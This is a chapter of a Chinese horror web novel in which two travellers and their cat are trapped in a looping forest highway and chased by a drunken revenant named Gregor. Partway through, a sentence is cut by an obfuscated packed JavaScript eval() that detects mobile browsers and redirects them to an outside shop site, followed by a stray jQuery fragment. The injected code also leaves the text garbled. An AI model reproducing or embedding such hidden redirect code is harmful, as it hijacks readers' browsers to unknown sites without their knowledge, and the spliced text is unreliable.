汽车再次发动起来，天色已经有些黯淡，一层薄薄的红云远远挂在天边，丝丝缕缕的，好像被水晕开的鲜血。
莱纳德开车，阿西莫夫蹲在他的大腿上，严肃地瞪圆眼睛，尾巴时不时扫过他的胳膊和手腕，要是换作平时，莱纳德肯定会把它赶到一边，但是今天，尤其是在遭遇那个奇怪男人格雷戈之后，阿西莫夫温暖柔软又毛茸茸的身体让他感觉很安心。
“我们是不是也该看到路标了？”莱纳德开口问道，距离上一个路牌怎么着也开出去十公里了，但路边始终光秃秃的，别说加油站，连个稻草人都没有。
倒不是说他乐意在愈发黯淡的天色里看到那种东西。
“嗯。”奥多娜心不在焉地应了一声，两眼盯着窗外飞速后退的白杨树林，“你看地图了吗？”
“当然，我看起来像个连地图都不看就四处乱开的傻子吗？算了，别回答这个问题。”莱纳德闷闷地说，指出另一个不祥的事实，“而且，我们已经很久没碰到路口了。”
奥多娜嘟囔了一句，听起来像是“这该死的森林”，她扭过头，问：“这猫能让我抱一会儿吗？车窗漏风，我快要冷死了。”说完径自伸长手臂，从莱纳德腿上捞走了阿西莫夫，猫咪发出一声不悦的“咪呜”，但并没有挣扎。
莱纳德只觉得一阵失落，但并没有表现出来。
“天也黑得太快了。”奥多娜摸着阿西莫夫的脑袋，“就算是冬天，就算是在高纬度，白天也不该这么短，你戴表了吗？”
莱纳德知道自己没戴，但他还是低头看了看手腕，然后掏出口袋里的翻盖手机，不由自主地惊叹出声：“怎么会？”
“几点？”奥多娜一脸早有预料的神色。
莱纳德直接把手机丢给她，奥多娜接住那个小东西，看到屏幕上的时间，也忍不住把眉毛挑得高高的：“零点八分？”她把手机翻来覆去看了一遍，又丢回莱纳德怀里：“你从哪儿搞来的这古董？我看八成是出故障了吧。”
莱纳德翻了个白眼：“欢迎来到2005年，没让你用传呼机就不错了。”
奥多娜哼笑了一声：“不过对于午夜零点来说，现在可是太亮了。”
“是零点八分。”几乎是莱纳德话音刚落，黑夜便向一口钟似的兜头罩了下来，毫不夸张，两人眼前的整个世界霎时间一片漆黑，莱纳德连忙踩下刹车，好半天，他才听到自己紧张急促的喘气声，跟受不了夏日炎热的狗似的，只差把舌头吐出来了。
“奥多娜？”
“我在。”奥多娜的声音听起来很镇定，谢天谢地，一阵窸窸窣窣的声音后，一只手伸过来抓住了莱纳德，先是胳膊，然后摸索着往上，拍了拍他的脸，“没事，我在呢。”
莱纳德忽然间想起从学校回到故园鸟镇的那个暴雨之夜，他姐姐开着车，两人原本有说有笑，但天色也是这样骤然漆黑一团，紧接着便是倾盆大雨，再然后……
几秒钟过去，并没有雷声和雨声响起，莱纳德悄悄松了口气，他的眼睛逐渐适应了黑暗，又能看到路面了，但车灯并没有在他转动旋钮时亮起来，他们只好继续在黑暗中行车，森林剪影从两侧车窗飞快地倒退，却不知怎地好像要扑上来似的。
“那是，”莱纳德瞪大眼睛，看着夜色里一团漆黑的轮廓，心再次砰砰跳动起来，“……什么？”
“是个人。”奥多娜回答，她好像笑了一声，又说，“或者，不是个人。”她忽然把安全带扣解开，一只手搭在门把手上，回头看着莱纳德：“你老实待在车上，别熄火，保持警惕，我要下去看一眼，万一发生什么事的话，”她说着瞟了一眼车前窗，苍白的脸上闪过一丝笑意，“你可不准抛下我一个人开车跑掉。”
“喂！等等！”莱纳德边说边解安全带，但奥多娜已经跳下了车，还把阿西莫夫留给了他，这猫一得脱自由，立刻敏捷地跳上了莱纳德的大腿，一屁股坐了下去。
得益于曾经接受过的训练，奥多娜夜间动态视力还不错，所以她很清楚此刻站在马路中间的是个人。
至少看起来是个人。
“格雷戈·奥古斯特。”奥多娜叫出他的名字，一边走上前去，姿态戒备，现在她不需要靠近也能闻到对方身上的酒臭味了。
“多娜女士。”格雷戈伸手抬了抬头上并不存在的帽檐，脑门上肿起的大包在夜色中都显眼得很，“真是很高兴见到你。”
“你这话说得可有点草率了。”奥多娜微笑着说道，打量着对方牛仔裤上的泥土和草根，“我猜被人从车上丢下来不太好受吧？”
格雷戈摸了摸脑门，龇牙咧嘴地笑了笑：“也没那么糟糕。”
奥多娜眯起眼睛，心里的疑惑逐渐膨胀，如果仅从这几句对话来判断，她会相信对方是个人，也许不大正常，但你大半夜在公路上还能指望碰上什么货色呢？
“你是走过来的吗？格雷戈。”奥多娜终于问道，同时注视着对方脸上的神情，“没想到居然领先我们的车这么多，你走得可够快的。”
“我没走，女士，我没走。”格雷戈连连摇头，他忧郁地抬头看了看天空，然后说，“我一直在这里。”
“是吗？”奥多娜后退一步，余光瞟向车头的位置，果然，那条该死的白色粉笔线就在那里，在黑黢黢的夜色里活像一张裂开的小丑嘴巴。“你为什么不离开呢？”
“因为没有人愿意载我啊，女士。”格雷戈笑起来，有些不好意思地挠了挠头，“你看我这满身泥、满嘴的酒气，人家肯停车就不错啦。”
奥多娜忍不住皱起眉头，就算是鬼，这家伙也未免也太啰嗦了，说老实话，她更希望格雷戈直接眼睛一翻，像个合格的僵尸一样朝她扑过来，那样她至少知道该怎么对付。
但那句话怎么说的来着？许愿时一定得谨慎。
奥多娜回到了车上，简短地说道：“开车。”
“开车？那个人怎么办？我是说，他是格雷戈，对吧？”莱纳德憋了满肚子的问题，“这是怎么回事？我们遇到鬼打墙了？”
“公路鬼打墙，是的，不怎么常见，但还是碰上了，只能说我们运气还不错。”奥多娜一双眼睛紧盯着车窗外的人影，伸手把阿西莫夫捞到自己怀里，用力抱住，终于流露出一丝女孩见鬼时该有的恐惧情绪，“我们还是快走吧。”
阿西莫夫不乐意地叫了一声。
莱纳德踩下油门，小心地转动方向盘，开车绕过格雷戈，后者一直在冲他们行注目礼，右手摸着他那并不存在的帽檐，脸上挂着柴郡猫似的笑容。
把对方甩在身后，莱纳德立刻把油门踩到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13639098|135386||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了底。
“嘿，你猜我们还会不会在前面碰到他？如果这是个合格的鬼打墙的话。”莱纳德有些紧张地问，胃里沉甸甸的，像是吞下了一大杯冰水，他总有种不好的预感，不管格雷戈是人是鬼，刚才那场碰面都实在太平静了。
就好像，他巴不得他们赶快驶过那条粉笔线似的。
“我猜不会。”奥多娜瞄着后视镜，瞳孔仿佛突然缩小了。
莱纳德跟着看过去，立刻倒吸一口凉气，知道奥多娜为什么这么说了——后视镜里，一个穿皮夹克的人正甩开膀子、迈开大步朝他们狂奔着追过来。
“还愣什么？快开车啊！”
奥多娜的声音变得又尖又细，像鞭子一样敲打着莱纳德的神经，莱纳德一边猛踩油门，一边用最大的声音骂了一连串脏话，甚至来不及因为当着女士的面出言粗俗而感到抱歉，因为奥多娜没猜错，格雷戈跑得确实比车还快。
“拜托告诉我你有办法了！”莱纳德大声喊道。
“我有办法了！”奥多娜扯着嗓子吼了回去，怀里的阿西莫夫受到感染，也跟着叫唤起来。
“什么办法！”
“开！快！点！”
“除此之外呢？我不想吓唬你，但车速有上限，你知道的吧？”莱纳德早就把油门踩到了底，一边庆幸自己租了一辆福特卡车，至少它足够结实，不会被发狂的怪物一撞就散架。
刚转过这个念头，卡车后斗忽然“咚”地响了一声，事实上，整个车身都随着这声响往下沉了沉。
有东西跳上来了。
莱纳德心惊胆战地看了眼后视镜，格雷戈狰狞的脸仿佛忽然间变大了一倍，要么是肾上腺素导致的视觉错误，要么就是这家伙刚才追他们的时候还在顺便狂吃化肥，但不管怎样，这张脸撞在后车窗上的画面可绝对算不上美妙。
“听着！你画了那道粉笔线，你知道这是公路鬼打墙，这可不像是外行会做的事。”车斗里活像是载了一头发疯的公牛，莱纳德得用力稳住方向盘才不至于让车一头冲出公路，只听“喀拉”一声，后车窗被撞出了一道裂纹，他提高嗓门：“你要是还知道别的，现在可绝对是个分享的好时候！”
奥多娜深吸一口气，忽然把阿西莫夫推到莱纳德怀里，然后从衣服内袋里摸出了把迷你手枪，检查子弹，上膛：“我的方法不多，希望有用。”
她飞快地回身，扣动扳机，朝后车窗点射三枪，砰、砰、砰——
第一枪让开裂的后车窗彻底碎成了几百块，冷风呼啸着灌进来，同时还有格雷戈非人的嚎叫声，第二枪、第三枪紧跟着射在他的脑门和胸口上。
莱纳德在心里感叹，好姑娘，好枪法！
格雷戈被打得接连倒退几步，莱纳德瞅准时机猛打方向盘，那家伙立刻像疯狂大转盘上的跳蚤一样惨叫着飞了出去。
不过莱纳德没有看到的是，格雷戈在滚下车的前一秒伸手扒住了卡车外斗，摇摇摆摆地挂在了车上。于是他刚松了口气，奥多娜就朝主驾位歪过来，“小心！那玩意又爬上来了！”她一手抓住方向盘，一手握住操纵杆：“听我口令，我们要找准时机给车掉头，顺便把他甩下去。”
格雷戈的嚎叫声再次响起，这回要近得多。
狗杂种竟然钻到车里来了。